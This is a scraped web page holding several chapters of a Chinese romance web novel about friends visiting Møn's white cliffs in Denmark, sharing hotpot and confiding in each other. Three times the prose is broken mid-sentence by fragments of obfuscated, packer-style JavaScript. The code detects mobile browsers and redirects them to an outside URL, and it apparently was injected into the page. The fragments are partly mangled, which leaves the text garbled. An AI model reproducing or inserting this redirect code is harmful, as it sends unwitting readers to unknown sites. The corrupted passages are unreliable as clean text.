第二天醒来时,正好听见行李箱滚轮的声音,他这才想起今天温让和高幸他们要去默恩岛。 哥本哈根说大不大说小不小,难说不会碰上沈奕岚。 李听墨脑筋一转,推开门朝着外面大喊一声,“温让哥,等我,我和你们一起去!!!” 他需要躲避,哪怕两三天也行。 温让在门口给小笛穿鞋,莫名其妙地看了他一眼,“没给你买火车票。” “没关系,我开车带你们过去,哥你把票都退了吧。” 温让对他无语,但还是默许了。 昨天因为李听墨的缘故,高幸鼓起勇气问出的话都没时间得到回答,眼下好不容易能避开他,临到关头,这人又跟上来了。 高幸无可奈何,长叹一口气。 李听墨沉浸在可以逃离哥哈的喜悦中,自然没注意到高幸哀怨的眼神。他快速收拾好行李,因为自驾游经验丰富,帐篷、水壶、睡袋都在车上,一应俱全,倒是省了不少功夫。 经过了被雪覆盖的田野,一路向南出发。 李听墨承担起“解说”的角色,从西兰岛讲到亚历山德拉王后桥。 “哥哥,还有多久?”小笛靠在高幸的肩上,看窗外的风景。 “你小憩一会儿就到了。”李听墨说。 开出七百余米的大桥没多久,前面的车突然急刹,李听墨差点追尾,车上的人惯性往前扑,小笛的头被高幸护着,没有磕上前面的座椅。 “会不会开车啊!”李听墨降下车窗吼道,“这么宽敞的马路你刹什么车!” 前面的车主没有回答,等一条野狗从马路中间慢悠悠穿过去,才重新启动。 “这狗也是个不懂事的,横穿马路干什么,不知道看红绿灯吗!”李听墨按了下喇叭,胡乱骂了几句英文。 他本无意跟着前面那辆车开,但他们的行驶路线却出奇一致,对方明显也提速了,李听墨超不过,只能默默跟在后面。 抵达终点,李听墨头一次明白什么叫冤家路窄。 因为从前车驾驶座下来的人,好巧不巧,正是沈奕岚。 李听墨以迅雷不及掩耳之势缩进车里,扯过小笛的绘本遮住脸。 温让和高幸带着小笛过去打招呼。 沈奕岚身边还站了个年轻高大的白人男子,一开口就是地道的丹麦语。 “刚才真是不好意思,我也是第一次遇到小狗挡道的情况。”沈奕岚带着歉意笑笑,“不过,你们有国外的驾照吗?” “是我朋友开的车。”温让回过头,见李听墨还在当缩头乌龟,便转移了话题,“你们也是过来玩的?” “算是吧。”沈奕岚提了提电脑包和摄像机,“不过主要是来工作采风的,我的副业是摄影。” “很酷的副业。”高幸夸赞道。 沈奕岚又跟身旁的男人低声说了几句,男人便拎着设备离开了。 “那位是我的合作伙伴。”沈奕岚说,“你们第一次来默恩岛吧?” “是的。”温让说。 “那我带你们去白崖那边走走?” 温让下意识看了高幸一眼,不过须臾一瞥,却被沈奕岚精准地捕捉到了。 “可以呀。”高幸并不介意,相反,她倒是很希望和沈奕岚交流,“其实我自己以前也喜欢拍着玩儿,但是没有仔细研究过,毕业第一年就买了部单反,后来还出掉了。” 沈奕岚又从随身背着的单肩包里掏出一个看上去有些年代的相机,“CCD,要试试吗?” “好啊。”高幸接过,“你也喜欢CCD?” “用来拍人物很不错,这个相机还是我上本科的时候从二手市场淘来的,在国内的时候用得多,也算是……对自己一些记忆的保存吧。”说完,沈奕岚笑了笑,“文字也好,影像也好,总得用一些方式记录一些鲜活的瞬间。” 手中的CCD外壳掉了不少漆,沉甸甸的,是沈奕岚的回忆。 小笛一直仰头望着沈奕岚,冬日里的风送来女人身上精致高雅的香水味,小笛忽然走上前,拉了拉沈奕岚的衣角,唤了声,“姐姐。” “你是老师吗?”她问道。 “是呀。”沈奕岚蹲下来,“不过现在没在学校,姐姐就不算老师了。” “那你可以帮我解答一个问题吗?” “你说。” “以前有个老师说,有的人活着是有意义的,我问她什么是活着的意义?”小笛茫然地问道,“那个老师说,成为一个优秀的对社会有用的人就是活着的意义,于是我又问她什么样的人才是优秀的人。” 小笛顿了顿,不解的眼神加深了许多,“她说,她也不知道。” “所以,姐姐老师,你知道吗?” 沈奕岚没有马上作答,而是牵起小笛的手,领着她往前走去。 高幸和温让并肩走着,跟在他们后面,却因为小笛的这段话,同时陷入了深思。 乳白色的悬崖形成一道长长的海岸线,垂直而立,冰绿色的海水轻轻拍向岸边。 他们沿着悬崖上的小路不紧不慢地走着,直到能看见海水和白崖交接的画面,沈奕岚停下脚步。 “温让,高幸,你们对地质学有了解吗?”她问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101558|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “高中时候,地理学得最好,但也忘得差不多了。”高幸说完,大概知道沈奕岚想问什么,于是又补充了几句,“以丹麦的地理位置来看,我猜测,这块儿白崖可能受到了冰川运动的影响。” “没错。” “来之前我做过一点功课。”温让说,“7000万年前的白垩纪时期,一些微生物死亡后会沉积下来形成白垩层沉积岩,后来又受到地壳运动、冰川融化侵蚀的影响,白垩层露出后堆积起来,逐渐形成了现在的白崖。” 沈奕岚点点头,看向正思考着的小笛,“小笛能听明白吗?” “嗯!我明白。” 沈奕岚笑着抚了抚她的后脑勺,“我的意思是,刚才你的问题,知道答案了吗?” 小笛回望着她,又往后看了看高幸和温让,最终将目光投向远方高耸屹立的白崖。 坚硬的崖壁像抹了层乳白奶油,底下的波罗的海静谧流淌,一望无际,这一刹那,好似看到了世界尽头。 “美丽的风景,需要漫长的时间才能形成……”小笛喃喃自语。 “也需要经历不见天日的黑暗,和一个破壳而出的时机。”高幸说。 风拂动女子的长发,静电将发尾吸附到了男人的外套上,隔不断的千丝万缕。 “还需要很多的痛苦的外力作用。”温让说。 “于是现在,默恩白崖才能留在了世人的相机里。”沈奕岚说,“这就是大自然塑造的美景,当然,小笛,这世上也有很多人工美景,不输这些自然景色,他们就不需要经历我们所说的这些,只需要足够的人力,把它们从无变成有。” 小笛握住沈奕岚的手,缓缓收紧,而后坚定地回道,“姐姐,我明白了。” 沈奕岚始终笑得亲切,她回过头,对高幸说,“可以帮我和小笛拍一张相片吗?” “当然。” 就在她们转过身背对着默恩白崖时,无处藏身的李听墨就这样暴露在了沈奕岚的视线中。 李听墨尴尬地垂下脑袋,摸了摸鼻尖,又搓了搓手掌,打好腹稿后勇敢向前几步,“沈小姐,你收到我发给你的短信了吗?” 沈奕岚莫名:“什么短信?” “就是你昨天给我留了个手机号。” “哦那个手机号不是我的。” “?” “你昨天那么暴躁,我怎么可能留自己的号码,所以就随便念了个咯。”沈奕岚说完,半点眼神都没给李听墨,牵着小笛就走。 李听墨半天没反应过来,直到温让抬手在他眼前晃了晃,“走了。” “不是,哥,你朋友都这么有个性吗?”李听墨小跑着跟上他们的步伐。 “温让。”高幸小声问道,“你……当初喜欢过奕岚吗?” “我很欣赏她,但没有别的情感了。”温让说。 “她确实是个很有魅力的女性,喜欢她倒也很正常。” 温让忽然停下来,认真地说,“我喜欢的从来就只有一个人。” “谁啊?”李听墨的脑袋从他俩中间冒出来。 “……” “温让!你俩走那么快干什么我都跟不上了!所以你到底喜欢谁啊诶卧槽这哪儿来的绊脚石,走你!” 22. 忠实受众 「忠实受众」 一整个下午的时间,他们都在默恩岛闲逛,拍拍风景,聊聊这些年各自的发展。 高幸敏锐发现,沈奕岚总是巧妙地避开温让的学业情况,她不明所以,尽管她很希望能从他们的聊天中,更多地了解温让。 沈奕岚的同伴叫阿尔里克,后来也陪着他们一起游玩。 这男人相当符合高幸对北欧人的刻板印象,冷静疏离,不怎么笑,说话也平平淡淡的,跟他相比,李听墨就像个气球,充满气就轻飘飘地上天,只要没人拽着,能飞多远飞多远,但很容易泄气。话又多又密,跟不认识的人也能迅速打成一片,有李听墨在,倒是不愁气氛。 温让提前定好了一栋度假小屋,离白崖很近,四周是大片空地和田野,出门走一会儿就能到海边。 李听墨还是第一次住度假小屋,一进去就忍不住感叹,“哥,你还是太有钱了,幸好我跟来了。” 小屋的卧室够多,临时加几个人也没问题,但沈奕岚和阿尔里克婉拒了他们的好意,开着车去白崖营地扎帐篷,准备拍夜晚的星轨和银河。 小笛跟高幸住一间屋,里面还贴心地布置了儿童床,墙纸是淡而温馨的浅粉色。 两天一夜的旅行,他们没带多少行李,只有温让拎了一个20来寸行李箱,原先高幸以为里面都是他的私人用品,结果到了傍晚,温让从他的行李箱里突然掏出了电磁炉火锅、肉类和果蔬、以及高幸之前淘来的碗碟。 李听墨在旁边看得瞠目结舌,“哥,你把厨房搬来了?” “出门在外,吃点儿好的。” 温让挽起袖子干活,小臂精瘦结实,细看的话,上面还有不少浅淡疤痕。 “我来帮忙吧。”高幸也脱下外套,往厨房走去。 小笛站在柜架边上,正捣鼓着一个木制八音盒,“哥哥,你能帮我把这个八音盒拆了吗?” “这个可是房东的八音盒,不能随便拆。” 温让端着锅找插座,随口说道,“没事,拆吧,到时候我把钱转给房东。” “你看,还是你温哥哥有钱。”李听墨拿过八音盒,盘腿坐在松软的地毯上,“小笛,你找找螺丝刀。” “好嘞!” 温让回到厨房时,高幸已经把一整块里脊切成了薄片。 “你刀工很好。”温让说完,覆上她持刀的手背,“接下来的就交给我吧。” 高幸虽然刀工不错,但论速度,确是温让更胜一筹,三下五除二地把剩余肉类处理好,有序地放到盘子里。 高幸在旁边的水池清洗蔬菜,顺口问道,“你从什么时候开始自己做菜的?” “六岁。” “六岁?!”高幸有些讶异,“可是你家不是……” 温让笑了笑,“很有钱?肯定有佣人做饭?所以不用自己做了?” “抱歉,我可能有点刻板印象了。” “没事,这样想很正常,只不过我是被爷爷奶奶带大的。”温让说着话,手上的活儿一点也没慢下来,“他们住在郊区,有一块地,老人家喜欢自给自足的生活,家里吃的菜都是自己种的,我从小跟他们生活,顺其自然地帮他们打下手,种地、做饭,也是从很小就开始了。” “我上小学前也是在乡下外公家生活的。”高幸见他的袖口往下落了不少,便擦干手,替他重新挽好,“可能那一辈的老人家血脉觉醒了,都喜欢自己下田种菜。” “是的,所以后来,他们也倒在了自家田地里。”温让语气没什么起伏,继续说道,“我也就被爸妈接回家住了。” 或许是洗菜时候的水声太大,冲淡了男人的声音,高幸关掉水龙头,问道:“是因为……劳累过度吗?” 手起刀落,一声接一声与菜板碰撞,眨眼间的功夫,肉片就成了纤细的丝。 温让熟练地往上面淋了几勺料酒、生抽,撒上盐和辣椒粉腌制,平静地说道,“我爷爷是被谋杀的,奶奶进了精神病院。” 沥水盆一个没端稳,砸在水池里,溅了高幸满脸的水。 温让抬起干净的左手,用手背抹去她脸上的水珠,“没关系的,我早就走出来了。” “对不起,我不该问。” “没什么不该问的,只要是你想知道的事,我都可以说。” 高幸混沌的脑子里忽然闪过年幼时的一些记忆,她依稀记得在她十岁还是十一岁那年,有一件闹得全市皆知的谋杀案,死的是当地颇有声望的退休刑警,名字她已经记不清了。 “你爷爷,以前是刑警吗?” “是的。”温让眉眼低垂,在这样一片温和的厨房灯光下,却格外冷清,“杀他的人,也是当年被他一举送进监狱的服刑人员。” “为了报复?” “嗯,他的供词是这样的。” “那你和你奶奶……” “我奶奶目睹了我爷爷被虐杀,失心疯了,所以那匪徒没杀她。”温让一遍又一遍在水龙头下面冲洗着刚切完肉的手,平铺直叙着,“我当时在房间睡午觉,醒来后,去报了警。” 手指和手背都被搓得通红,在他第三次挤洗手液的时候,高幸握住了他的手腕,“再洗下去,手会疼的。” 说完,她倾身过去,替他关掉了水龙头。 高幸跻身他和洗手台的中间,抬头正视他平静无波的双眼,嘴唇动了动,安慰的字眼却一个也蹦不出来。 她忽然意识到,自己能给他的,也无非一个拥抱。 腰被环住的瞬间,温让身子也骤然僵住,只要他稍稍低头,就能吻上她的发顶,那里已经没有生出不属于这个年龄的白发。 明明没有时钟,他们却听到了滴答滴答,时间的流走声。 多年以后,他们回忆这个夜晚,恍然发现—— 原来心动与时间同频。 拥抱没有持续太久,高幸低着头,迅速地抹去下巴的泪,嗓音微微沙哑,“我有一个冒昧的请求。” “你从来没有冒昧过。” “回国后,我能不能以朋友的身份去见见你奶奶?”高幸眼眶还有些红,“我们现在,是朋友吧?” “当然。” 温让抬起手,轻轻拂过胸口处,那里有一滴藏在毛衣里的泪,被碾碎了,揉进他的指尖。 而十指连心。 窗外不知何时下起了雪,壁炉的火烧得正旺,被拆掉又完美复原的八音盒流淌出复古的冬日小曲。 火锅底料熬出麻辣鲜香,烟雾和香气一同飘散在屋子里,蒸得窗户都蒙了层白雾。 小笛端了个小板凳站在窗前,用手指在窗上作画。 一只小小的白天鹅,一条简笔画美人鱼,还有拉雪橇的圣诞老人以及一棵圣诞树。 三个大人站在她身后,聚精会神看着她画画。 “小笛,这小鸭子是你啊?”李听墨问道。 “这是白天鹅。”高幸怼了他一下。 “这个漂亮又勇敢的美人鱼是高姐姐。”小笛说。 “那圣诞老人肯定是我了。”李听墨说。 “圣诞老人是温哥哥,他总能实现我们的愿望。” “那我呢?我是什么东西?” “这还不明显吗?”温让指着圣诞树说,“你是这个。” “圣诞树是沈姐姐。” “?” “哥哥,你是雪橇。” “……”李听墨崩溃,“还不如圣诞树呢,你给我重画!我要当王子!” “我不要,我饿了,我去吃饭了。”小笛从凳子上跳下来,大呼一声,“ohmydearhotpot!” 于是今夜的火锅,小气鬼李听墨一块肉都没给小笛夹。 小笛毫不在意,她的碗里堆满了温让和高幸的爱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109934|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >过了会儿,小屋的门被敲响了。 沈奕岚和阿尔里克披着风雪立于门外,“外面太冷了,蹭顿饭,可以吗?” 温让侧身笑道,“没问题,我去帮你们添碗筷。” “火锅就是要人多,吃着才热闹。”高幸把自己和温让的碗往旁边移了移,给沈奕岚他们腾出位置。 “喝酒吗?”温让问道,“我们带了红酒。” “我可以喝。”阿尔里克说。 “他是老酒鬼了,我少来点儿吧。”沈奕岚说。 李听墨眼珠子一转,拍手道,“这样吃饭实在太干了,要不我们来玩一个游戏吧,输了的就喝一大口红酒。” “那我呢哥哥?”小笛问。 “你去睡觉吧。” “IHATEYOU。” “你HATE你的吧。” “什么游戏?”阿尔里克问。 “我有你没有。”李听墨简单说了下游戏规则。 第一轮从李听墨开始:“我有大金链子。” 说完,他真从脖子掏出了一条金项链。 其他人都没有,十根伸直的手指,同时弯曲一根。 “浮夸。”沈奕岚锐评。 轮到高幸,“我有舞蹈教练证。” “你厉害。”李听墨说。 小笛:“我……不喜欢上学。” 所有人齐齐望向她,说道:“没人喜欢上学。” 温让:“我左手腕受过伤,留了疤。” 除了高幸之外的其他人都屈了根手指。 “你也有伤?”李听墨说完就要去看她的手腕,被温让制止了。 沈奕岚:“我做过vlog博主。” “嘿,这个我还真做过。”李听墨得意洋洋。 阿尔里克本身也是摄影博主,脸上罕见地露出一丝微笑。 “做博主但失败了,算吗?”高幸问道。 “做过就行。”沈奕岚说。 “笑死,vlog博主也能做失败吗?不就是随便录点生活片段?”李听墨说道,“你是走哪个类型的?简约、精致、复古还是什么?” “真实。”高幸说,“因为太真实了,所以,没什么受众。” “有多真实?我很好奇。”沈奕岚问。 “就是……一般的博主录早起的视频,都是闹钟响了就起来了。”高幸尴尬道,“我把相机放在卧室一角,录了一上午,闹钟被我按掉无数次,我都没能起床。还有看书,别人都是看什么严肃文学,桌面整洁,点着香薰灯,各种氛围感。我躺在沙发上看了一下午漫画……期间还玩了会儿恋爱攻略小游戏,俗称……乙游。” 李听墨捧腹大笑,“然后呢?你该不会还打上自律的tag吧?” “我的标题是‘自律失败的一天’,可能因为确实太失败了,评论区都在劝我要上进。我看别的博主评论区都是什么,要像姐姐学习。”高幸戳着碗里的菜,“后来我就录不下去了。” “你还是太真实了。”李听墨说,“互联网最不需要的就是真实。” “但是生活需要。”温让说,“生活不能摆拍,无从剪辑,如果是我,我会更想看到高幸这样有真实生活气息的vlog。” “高幸,其实你的风格没有问题,你只是不会营销自己,也没有仔细去思考受众。”沈奕岚说。 “我有受众吗?”高幸迷迷糊糊地问道。 “高幸,我不得不说一句,你永远有一个忠实的受众,那就是——”李听墨看了温让一眼,后者对他微微一笑,等待他的宣告。 “李小笛同学!” “到!”小笛起身,挺直了胸膛,郑重宣誓,“我李小笛永远是高姐姐忠实的受众!” 温让的笑容僵在脸上。 李听墨贱嗖嗖地凑到他耳边,“老哥,要想我牵红线,不给点好处怎么行呢?” 23. 含羞草 「含羞草」 一局游戏玩下来,李小笛是最快出局的,但她是小朋友,不能喝酒,只能由直系亲属——李听墨代替。 后来他们又玩了几局,要么李小笛输,要么李听墨输,而喝酒的永远都是李听墨,喝到最后,他的脸颊染上两个高原红,神志不清地叫嚷着要和高幸比拼舞技。 恰好小屋里有电视和游戏机,李听墨醉醺醺地玩了一把“justdance”,以一星的水平向高幸炫耀,“怎么样,这位舞蹈教练,我选的可是高难度舞蹈,一星已经很了不起了,你要是能赢我,我就答应你一个要求。” 高幸靠在沙发上嗑瓜子,吃的饭也消化得差不多了。 “我来试试。”她接过李听墨抛过来的手柄,掸了掸手上沾着的瓜子壳。 李听墨一屁股坐在阿尔里克的身边,这位不苟言笑的丹麦男人正举着相机记录这与众不同的聚会,“哥们,拍得不错。” “谢谢。” 高幸从头到脚简单拉伸了一下,握着手柄,选了比李听墨难度更高的曲子。 “我说你别这么狂妄啊高幸,你选的那可丝zui难的,我就没把动作捋捋清cu过。” “你先把舌头捋清楚再说。”沈奕岚朝他扔了个小橘子,正好砸中李听墨的嘴。 “嗷。”李听墨痛呼一声,还没来得及嚷嚷,小笛忽然站起来,许是动作弧度太大,胳膊不小心打到了他的侧脸,“嗷!李小笛!!” “高姐姐加油!” 第一个八拍的鼓点比较轻柔,动作更需延伸。爵士舞本就是健康展现人的身体曲线的舞蹈,所以舞者越自信大方越不会给人擦边的感觉。 恰好高幸今天的穿着上紧下松,无论是延伸还是卡重拍,都恰到好处地展示了自己的力量与线条。尤其是后面一段鼓点强烈的变奏,手上动作繁复,底盘也得够稳,才能跳好。 高幸跳起来好像丝毫不费力,轻而易举就完成了整首。 最后,屏幕上显示五星,perfect。 随即而来的,是一阵阵掌声,夹杂着李听墨流里流气的口哨声,“还真不赖啊高姐姐。” “高幸当年可是他们学校舞队的队长。”沈奕岚说道,“拿过不少街舞比赛的奖呢。” “怪不得呢,nicebody。”李听墨从小在国外长大,说话本就直白,完全没意识到用词的问题。 沈奕岚斜眼一瞥,还没说话,一个抱枕就砸到了李听墨脑袋上。 “你输了。”高幸说。 “愿赌服输,什么要求?” “你不是喜欢nicebody么。”高幸气息还没喘匀,接过温让递过来的白开水,说道,“那你也给我们展示下你的nicebody。” “要我脱衣服?” “小笛。”沈奕岚朝小笛招招手,“你跟这个阿尔里克哥哥去旁边玩会儿摄像机,好不好?” “好。” 在沈奕岚的助攻下,小笛也被支开。 几双眼睛巴巴地看着李听墨。 “有什么不好展示的。” 李听墨手指捏住毛衣下摆,抬起胳膊就脱,皮肤暴露面积还不到三分之一,高幸的眼睛就被挡住了。 人的下意识行为总是很难解释。 0.01秒后,当高幸的长睫毛扫过温让掌心,他的大脑猛地停止了运转。 其实高幸也就是说着玩儿,李听墨脱不脱,她都无所谓,也不感兴趣。只是这会儿眼睛被蒙住,有一些难以言表的情绪正缓缓注入心口。 温让另一只胳膊撑在她身后,是一种半拥的姿势。 李听墨衣服脱了一半,嘿嘿笑起来,正要调侃,却被沈奕岚死死捂住嘴,连拖带拉地扯到一边儿去了。 温让微微蜷起手指,像是按下了慢放键,缓慢垂下手掌,“我……” “没事,我也不想看他的……呃。”高幸也很尴尬地别过头,“身体。” “但这是你的自由。”温让面上有一丝懊悔,“我不该阻挡。” 这下换高幸疑惑了,“什么自由?” “欣赏异性的自由。” 高幸忽然想起来丹麦前,家里人安排的一次相亲,对方问她追不追星,喜不喜欢在网上刷一些帅哥的视频。 她很实诚地说,自己不追星,但很喜欢看街舞视频,不分男女。 相亲男一听街舞视频,立马皱了眉头,“跳街舞的男生,身材是不是都还不错?” 高幸说是,毕竟舞蹈需要肌肉力量。 相亲男的脸色藏也不藏了,明显表示出对高幸的反感,饭局结束后还给自己家里人说高幸这种只注重男性身材外表的女子,不是良配。 当时高幸不明白对方在介意什么,后来才知道,这种人对自己没信心没安全感,也并不尊重伴侣,只想让伴侣以自己为中心。 想到这里,她突然很好奇温让的看法。 “欣赏异性的自由?”高幸重复了一遍,接着问道,“所以温让,如果你有了女朋友,你会介意她追星吗?” 温让愣了下,“不会。” “那看帅哥呢?” “如果这是她的爱好,我会尊重。” “看裸/男呢?”高幸越问越来劲。 温让喝了口水,有些窘迫地反问道:“裸到什么程度?” “我也说不上来。” 温让磕巴了一下,“如果你喜欢的话,也可以……” 两个人都没注意到人称代词的转变,倒是缩在沙发背后的沈奕岚敏锐地竖起耳朵。 “有时候国外的hiphop大神,就是光着膀子跳的。”高幸思考着说道,“如果是互联网那些水平不怎么好,靠露肉吸引人的舞蹈博主,我个人不太喜欢。” “舞蹈本身就是靠技术而不是身材和脸取胜。”温让说,“或许,好的舞者是会让人忽视他的穿着的。” 高幸点了点头,还想再问些什么,被沙发后面传来的呼噜声给打断了。 沈奕岚白了陷入沉睡中的男人一眼,撑着沙发背站起来,“怎么说,把这人抬回房间?” “我来吧。”温让说。 “那我收拾一下桌子。”高幸说。 “我跟你一起。”沈奕岚说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114831|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忙活完已经快过零点,小笛跟阿尔里克玩相机玩累了,自己一个人乖乖跑去洗漱睡觉,没让人操心。 阿尔里克打开睡袋,准备就在客厅入睡,温让指了指边上的房间,说道:“还有一间卧室空着的,你可以去睡。” 男子摆摆手,“我常年在外,不太习惯睡床。” “随他吧。”沈奕岚打了个呵欠,“他一年有350天都在外采风,这恐怕是他住过最好的环境了。” “有爱好支撑的话,生活才会可爱一些。”高幸说。 “丹麦抑郁症高发,我在这边快七年了,认识的人都走了好几个。”沈奕岚望着窗外不停歇的雪,“他们不缺物质,但要在这漫长的寒冷中活下去,需要的是饱满而强大的精神力。” “这样的精神力。”她忽而转头看过来,“高幸,你也有过。” 高幸被她说得愣住。 “我不知道你这些年发生了什么,但是我希望你可以找回以前的力量。”沈奕岚一个劲地输出,“可能是我站着说话不腰疼,但是高幸,别再下坠了,你需要马上振作起来,我知道你是很优秀的人,你肯定也不想变成这样,所以——” “奕岚。”温让淡淡开口,止住了她的话,“早点休息。” 沈奕岚盯着他没有任何情绪的双眼,“聊聊?” 高幸后退一步,垂下头,“我先回房间了,你们聊吧。” 等到她的房门关上,温让才叹了口气,上前一步,“我明白你的好意。” “我只是不忍心看她变成现在这样。”沈奕岚回忆起学生时代为数不多和她见过的几次面,从未有哪一次像今日这样,总是习惯性低头,说话也时常犹豫。 明明是向日葵一般的人物,怎么就变成了含羞草。 她想不明白。 “温让,你也别墨迹了,直接把心意告诉她得了。”沈奕岚抱着胳膊,压低声音说,“你俩这心思,旁人都看得出来,你感受不到?” “我和她重逢不过十日。”温让说。 “但你这些年为她做过的……” “那都不重要。” 男人的语气轻如羽毛,“她不需要知道这些事,也不需要为我做过的事承受任何压力,她只需要慢慢地修复自己,慢慢地敞开心扉,好好地被爱,这就足够了。” “你们要在中国生存,就不能慢。”沈奕岚恨铁不成钢,“你是家里有钱有地位,但她只是普通家庭,她和我一样,没有试错的空间,一步错步步错,时间不等人,她没办法再慢下去了。” “奕岚,你遵守着社会运转的法则,她是法则外的人。” “所以呢?” “我会建起一座城堡。” 沈奕岚忽觉荒唐,轻笑道,“所以你想把她养在城堡里,做你的公主?” “不是。” 温让的手指在窗户上滑动,过了会儿,上面出现了两个手牵手的小人,以及一座简单的城堡。 窗外的雪模糊着人的视线,沈奕岚凝神看着玻璃上的画,听见男人坚定地开了口。 “她是和我一起建造城堡的人。” 24. 果果小木头 「果果小木头」 唐冉离开哥本哈根的这天,高幸去送了机。 一群小孩儿围在高幸身边,姐姐姐姐叫个不停,还有个小bboy试图在机场光滑的地面上表演breaking,被唐冉诚惶诚恐地拦住了。 她太久没被这么猛烈的热闹包围了,一时有些难以招架。 反倒是旁边的温让,和小孩打成一片,还给他们送了不少玩具。 唐冉附到高幸耳边,“看见没,这就是现在流行的,人夫感,找男朋友就得找这样的,会疼人~” “少打趣了,你先把自己的个人问题解决了再说。” “你俩喜酒,让我坐主桌啊。” “你坐小孩那桌。” “诶!”唐冉嬉笑着指向高幸,“说出心里话了吧。” 高幸抿唇,憋着笑,“服了你了。” “反正,我舞室的联系方式已经告诉你了。”唐冉搂住她的肩膀,“回国后,要是想过来练练舞,做做兼职什么的,随时欢迎。” “好,起落平安。” 两人抱了抱,“回国见。” “回国见。” 回去的路上,高幸和温让经过一家连锁超市,不约而同走了进去,他们一个推购物车,一个挑选菜品。 温让的衣兜很浅,蹲着的时候,手机滑到地上,他两手不空,高幸帮他捡起来。 手指不小心触到屏幕,她无意看见了温让的手机屏保,是一副水彩画,笔力稚嫩,看着像小孩子的笔迹。 “这是我奶奶画的。”温让滑开锁屏,“她年轻的时候是美术老师,现在因为大脑出了问题,画画的手也不利索了,所以,从她现在的画可能看不出来她曾经是美术老师。” “返璞归真。”高幸细细查看他的锁屏,“画里面有四个人,应该是你和她,还有爷爷?” “嗯,还有我弟弟。” “亲弟弟?” “对。”温让说,“他叫温廉,比我小四岁。” 高幸发现自己并不了解温让,连他还有个亲弟弟都不知道。 她的喜怒哀乐都浮在表面,温让一下就能看穿她的心思,“我有亲弟弟这事,也只有李听墨他们知道,温廉不常和我一起,你不知道他,很正常。” 高幸不禁想起李听墨对她的叮嘱。 温让有个很可怕的家庭。 “那你和你弟弟关系好吗?我也有表弟,他性格温顺,小时候总被我们使唤,长大就叛逆。”高幸笑道,“小时候让他干什么就干什么,现在已经使唤不了了。” “还不错,温廉是个懂事的孩子。”温让说道,“也很受长辈喜欢。” “你应该也很受长辈喜欢。” “分情况。” “嗯?怎么说?” “他们只喜欢听话的机器,一旦机器有了自己的意识,就默认报废了。” 这样的比喻,高幸一听就懂,在她沉默思考之时,温让挑了一盒鲜嫩的草莓放进购物车,正要去选其他的水果,袖子被拉住了。 “那他们不允许你有自由的思想吗?” “可以这么说。”温让自嘲地一笑,“不过自由对以前的我来说,也没那么重要。” “独立天地间,清风洒兰雪。” 高幸的记忆里一直存着这句诗,她曾将它默写在摘录本的首页,也曾是她低谷时期对自己的告诫。 而这句诗,也曾是温让作为学生代表,在高考前的百日誓师大会上念过的。 巧合的是,在他念出这句话的前一天,高幸因为周考成绩不好,情绪低落了许久,草稿纸上写满了这首李白的《别鲁颂》。 没人知道当高幸听到温让用淡定的语气念出这句诗时,她有多震惊。 周考失利的挫败感荡然无存,她只想继续拼命,拼命地追赶上那个站在升旗台左侧的少年。 他在发光,她也不能暗淡。 高幸站在排列整齐的人群中,大家都穿着一样普通的校服,百日倒计时的紧迫感,每天堆积成山写到崩溃的试卷,时时刻刻都在上升下落的考试分数,搓磨着少年心性。 高三下学期,早自习时间提前,晚自习时间延后,睡眠时间严重不足,学生们的脸上无一例外都带着麻木的疲惫,可是在这疲惫之中,又藏了些对未来的期待,对将要结束这场青春游戏的渴望,以及,在这个一切都还没定型,一切都还来得及的年纪,所独有的那股向上的劲儿。 就是这股劲儿,支撑着他们共同走向那个远在天边又近在眼前的未来。 18岁的少女微微扬起头,一眨不眨地盯着台上的少年。 干净,挺拔,如松如竹。 清风洒兰雪。 明明他可以念出大众接受度更高的诗句,诸如“梅花香自苦寒来”、“天生我材必有用”之类的,偏偏选了李白冷门的一首。 也是高幸很喜欢的一首。 而现在,八年过去,曾经仰望的少年就在自己面前,和她一同逛着超市,聊着琐碎话题,挑选今晚做饭的食材。 她忽然很想知道,为什么是那句诗,为什么不是其他的。 可就在温让听到她念出这句诗后,他明显愣了一下,“你还记得?” “我记性很好的。”高幸说。 “这句诗是我写发言稿前,在校报上看到的。”温让说。 他们就读的高中有自己的文学校报,月刊,每个月都会提前发布征稿主题,全市在读高中生都可以投稿。 高幸思索了一番,“你说的,该不会是‘树山’那版吧?” “对。”温让说道,“我记忆中,那版的封面就是绿色的,主题是‘树山’,里面登了十篇文章,其他的文章都是实名制的,只有一篇,用的笔名。” 虽然心里已经有了答案,但高幸还是按捺住内心的惊喜,问道,“笔名是什么?” “果果。” 如果高幸足够仔细,便会发现,温让的发音并不字正腔圆,有些吞音,尾音也轻微上扬,比起正常的回答,似乎更像在叫一个亲昵的人。 可惜她被这声“果果”冲昏了头脑,直愣愣地应了声,“诶。” 温让噗嗤一声笑了,“这就应了?” 